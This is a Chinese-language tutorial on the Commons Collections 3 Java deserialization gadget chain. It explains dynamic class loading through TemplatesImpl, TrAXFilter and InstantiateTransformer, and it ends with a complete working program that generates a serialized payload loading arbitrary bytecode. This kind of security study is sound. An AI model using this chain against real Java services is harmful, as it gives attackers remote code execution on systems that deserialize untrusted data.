commons collections 3反序列化链学习
目录
前言
本次使用的JDK版本是Java 1.8u65
CC3链值得学习的地方主要是另一种新的代码执行方式: 动态类加载。
主要的使用场景就是当被禁用Runtime类的时候或者说需要执行任意代码的时候,有时候任意代码会比rce更加灵活。
由于这次不同的仅仅是后面代码执行的地方的不一样,所以前半部分到InvokerTransformer
的地方都是不变的。可以使用CC1链的前半部分,也可以使用CC6的前半部分。
简述类加载
java的文件进过编译后会生成一个个.class的字节码文件,而我们将这些文件/类加载到内存中并使用的过程就称为类加载。
在这里我们简单了认为类加载分为两个过程: 加载和初始化
通用我们简单的认为加载就是将字节码文件读入到内存中,初始化就是将这些数据进行识别和预处理。
值得注意的是之后在进行初始化操作的时候才会进行类中静态代码块的执行。
常见的初始化包括new一个对象的时候,或者反射forName调用的时候
forName有两个重载,其中一个就可以控制时候进行重载
而默认的forName是进行重载的
forName方法最终都会调用forname0方法,但是这个方法是又c/c++写的原生方法,具体实现我们就不过多探究
这边不做过多演示,读者可以自行实操。
类加载器
正常情况下的类加载都是通过类加载器完成的,类的加载规则是双亲委派机制,
简单来说就是加载前问问其他加载器有没有加载,没有加载自己再加载,因为如果同一个类被不同的加载器加载就会导致在内存中一个类被加载两次,从而出现问题。
具体的过程可以参考类加载器的源码loadClass
方法了解
经过双亲委派后就会寻找类并且加载,也就是对应的findClass
方法(由于父类是URLClassLoader,所以最后都是走到了URLClassLoader
的findClass
方法,如果找到就会调用defineClass
方法来导入类
这个方法就是将字节码加载到内存中的,是关键一步:
以上就是简单的一个类加载过程,当然加载完之后初始化后才能代码执行,这个后面会介绍。
反序列化
从上面的分析知道加载类核心是defineClass
方法,也就是如果能够调用起这个方法,就可以加载类从而动态类加载实现代码执行。所以我们直接从defineClass
开始搜索:
通过查看defineClass
的调用对象可以发现一个公开的,使用了defineClass
的类Templateslmpl
类
在这个类中的private void defineTransletClasses()
调用了defineClass
方法。
查看这个能调用这个类的地方,有三个:
我们依次查看发现最后一个getTransletInstance()
很好用,不经加载了类,而且实例化了
那么现在我们继续查看调用这个方法的地方
发现之后一个地方调用了getTransletInstance()
:
而这个方法newTransformer()
是公开的,也就是说触发了这个方法就可以任意代码执行了
这时候就可以使用 InvokerTransformer()
来构造方法,就可以直接触发类加载。
将上面了过程重新梳理一下得到:
流程链
查看这个TemplatesImpl
类的构造器:
发现是空的,所以在本地构造链子的时候需要使用反射进行赋值
写出主要的部分:
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
进入newTransformer方法中查看,
人家是直接调用getTransletInstance
进入getTransletInstance()
发现会判断 _name
和 _class
的值
我们需要人家进入definTransletClasses方法,所以这个地方_name
需要赋值_class
不能赋值
进入defineTransletClasses()
方法
可以看出人家是循环对_bytecodes
进行载入的,
从定义也可以看出来_bytecodes
是二维数组
然后针对性的修改值:
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField= c.getDeclaredField("_name");
nameField.setAccessible(true);
// 设置name值
nameField.set(templates,"111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))} );
templates.newTransformer();
这时候运行的基本逻辑就没有问题了,但是运行的时候会触发空指针错误:
通过调试发现是在defineTransletClasses中触发的:
显示是这个_tfactory
不存在
从变量可以看出这个量是transient
的无法直接被反序列化,但是会用到,说明会在readObject中赋值的:
所以说当我们进行反序列化的时候这个链子的时候这个问题不会触发,但是现在我们直接调用就会触发,这里简单修复一下:
//修复调试的时候不能用的问题
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
然后继续运行,结果仍然会有一个报错,同样也是空指针错误,定位到错误点:
这个地方是已经调用完defineClass后的步骤中触发的一个错误,这时候还没有触发初始化语句,所以这个错误我们也需要修复掉
错误是在422行触发的,我们可以选择给_auxClasses
赋值,或者让if跳转到上面语句中
我们注意到后面还有一个报错的判断,也需要跳过,为了方便我们就直接修改上面的跳转,让它修改_transletIndex
值,也就顺便跳过了后面的错误
修复这个异常也十分简单,只需要让这个类的父类是指定类即可:
之后运行即可触发类加载,然后代码执行。
跳过InvokerTransform
这时候可以使用链子了,但是链作者厉害的是更进一步的找到了可以直接调用newTransformer
的地方,首先是全局搜索这个放大的调用:
发现有三个地方,第一个就是我们的类,第二个和第三个都不能反序列化,但是第三个TrAXFilter
触发newTransformer
是在构造函数里,这就使得触发成为可能,因为有一个类
就是InstantiateTransformer
类,它的transform
会直接实例化一个对象:
使用就如同InvokerTransfomr
方法一样
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformer = {
new ConstantTransformer(TrAXFilter.class),
//new InvokerTransformer("newTransformer", null, null),
instantiateTransformer
};
补全代码
对于前半部分我们可以使用CC1或者CC6中的前半部分,这里我是用了CC6中的前半部分,得到最终代码:
package org.Payload.CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.Payload.Util;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Objects;
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField= c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))} );
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformer = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "222");
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
lazyMap.remove("111");
Util.serialzie(hashMap,"CC3.bin");
Util.unserialize("CC3.bin");
}
}
总结
总的来说CC3链是提供了另外一种执行代码的方式 动态类加载,当无法使用Runtime
类进行命令执行的时候就可以通过动态类加载进行代码执行。这条链相较于前面的部分其实没有太多变化,最后都是触发transform
方法,所以前半部分相对来说比较随意,可以使用cc6的hashCode
触发,也可以是使用cc1的get
触发,也就提高了链的实用性。